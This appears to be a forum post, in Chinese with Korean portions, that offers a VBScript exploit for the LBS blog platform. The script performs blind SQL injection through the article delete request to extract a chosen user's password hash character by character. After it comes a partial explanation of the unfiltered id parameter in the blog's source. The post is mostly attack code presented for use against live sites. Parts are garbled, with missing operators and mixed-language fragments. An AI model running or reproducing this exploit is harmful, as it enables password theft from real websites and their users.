呵呵,只是证明下漏洞存在
exp如下,保存为vbs,自己下个程序测试自己吧
'From 剑心
'============================================================================
'使用说明:
' 在命令提示符下:
' cscript.exe lbsblog.vbs 要攻击的网站的博客路径 有效的文章id 要破解的博客用户密码
'如:
' cscript.exe lbsblog.vbs www.xxxx.com/blog/ 1 1
' by loveshell
'============================================================================
On Error Resume Next
Dim oArgs
Dim olbsXML 'XMLHTTP对象用来打开目标网址
Dim TargetURL '目标网址
Dim userid,articleid '博客用户名
Dim TempStr '存放已获取的部分 MD5密码
Dim CharHex '定义16进制字符
Dim charset
Set oArgs = WScript.arguments
If oArgs.count
Set olbsXML = createObject("Microsoft.XMLHTTP")
'补充完整目标网址
TargetURL = oArgs(0)
If LCase(Left(TargetURL,7)) "http://" Then TargetURL = "http://" & TargetURL
If right(TargetURL,1) "/" Then TargetURL = TargetURL & "/"
TargetURL=TargetURL & "article.asp"
articleid=oArgs(1)
userid=oArgs(2)
TempStr=""
CharHex=Split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f",",")
WScript.echo "LBS blog All version Exploit"&vbcrlf
WScript.echo "By 剑心"&vbcrlf
WScript.echo "http://www.loveshell.net/ Just For fun :)"&vbcrlf&vbcrlf
WScript.echo "+Fuck the site now"&vbcrlf
Call main(TargetURL,BlogName)
Set oBokeXML = Nothing
'----------------------------------------------sub-------------------------------------------------------
'============================================
'函数名称:main
'函数功能:主程序,注入获得blog 用户密码
'============================================
Sub main(TargetURL,BlogName)
Dim MainOffset,SubOffset,TempLen,OpenURL,GetPage
For MainOffset = 1 To 40
For SubOffset = 0 To 15
TempLen = 0
postdata = ""
postdata = articleid &" and (select left(user_password,"&MainOffset&") from blog_user where user_id=" & userid & ")='" & TempStr&CharHex(SubOffset) &"'"
OpenURL = TargetURL
olbsXML.open "Post",OpenURL, False, "", ""
olbsXML.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
olbsXML.send "act=delete&id="& escape(postdata)
GetPage = BytesToBstr(olbsXML.ResponseBody)
'判断访问的页面是否存在
If InStr(GetPage,"deleted")0 Then
'"博客用户不存在或填写的资料有误" 为错误标志 ,返回此标志说明 猜解的 MD5 不正确
'如果得到 0000000000000000 的 MD5 值,请修改错误标志
ElseIf InStr(GetPage,"permission")0 Then
TempStr=TempStr & CharHex(SubOffset)
WScript.Echo "+Crack now:"&TempStr
Exit for
Else
WScript.echo vbcrlf & "Something error" & vbcrlf
WScript.echo vbcrlf & GetPage& vbcrlf
WScript.Quit
End If
next
Next
WScript.Echo vbcrlf& "+We Got It:" & TempStr & vbcrlf &vbcrlf&":P Don't Be evil"
End sub
'============================================
'函数名称:BytesToBstr
'函数功能:将XMLHTTP对象中的内容转化为GB2312编码
'============================================
Function BytesToBstr(body)
dim objstream
set objstream = createObject("ADODB.Stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = "GB2312"
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
'============================
'函数名称:ShowUsage
'函数功能:使用方法提示
'============================
Sub ShowUsage()
WScript.echo " LBS blog Exploit" & vbcrlf & " By Loveshell/Kenshin"
WScript.echo "Usage:"& vbcrlf & " CScript " & WScript.ScriptFullName & " TargetURL BlogName"
WScript.echo "예:"& vbcrlf & " CScript " & WScript.ScriptFullName &" http://www.loveshell.net/ 1 1"
WScript.echo ""
WScript.Quit
End Sub
취약점 설명:
in src_article.asp...
input["log_id"]=func .checkInt(input[ "log_id"]);
if(!input["id"]){
strError=lang["invalid_parameter"]
}else{
// 기사가 있는지 확인하세요
theArticle.load("log_id, log_authorID, log_catID","log_id=" input["id"])
strError=false;
}
......
log_id는 필터링했는데 정확한 id를 사용하네요 ㅎㅎ :)
그럼
class/article.asp의 코드
this.load = function(strselect , strwhere){
var tmpA=connBlog.query("select TOP 1 " strselect " FROM [blog_Article] where " strwhere)
if(tmpA){
this.fill(tmpA[ 0]) ;
return true;
}else{
return false;
}
}
위는 말할 필요도 없지만, 트리거는 필수입니다. , 충족될 수 있는지 확인하세요!
function articledelete(){
if(theUser.rights["delete"]// 사용자 권한 확인 - DB 쿼리 없음
pageHeader(lang["error"]);
redirectMessage(lang["error"], lang["no_rights"], lang["goback"], "javascript:window.history.back();" , false, "errorbox");
}else{
var theArticle=new lbsArticle();
var strError
기본적으로 게스트 삭제 권한은 나중에 판단했는데도 주사는 이미 했고, 그 판단에 따라 주사를 했을 뿐이죠, 하하.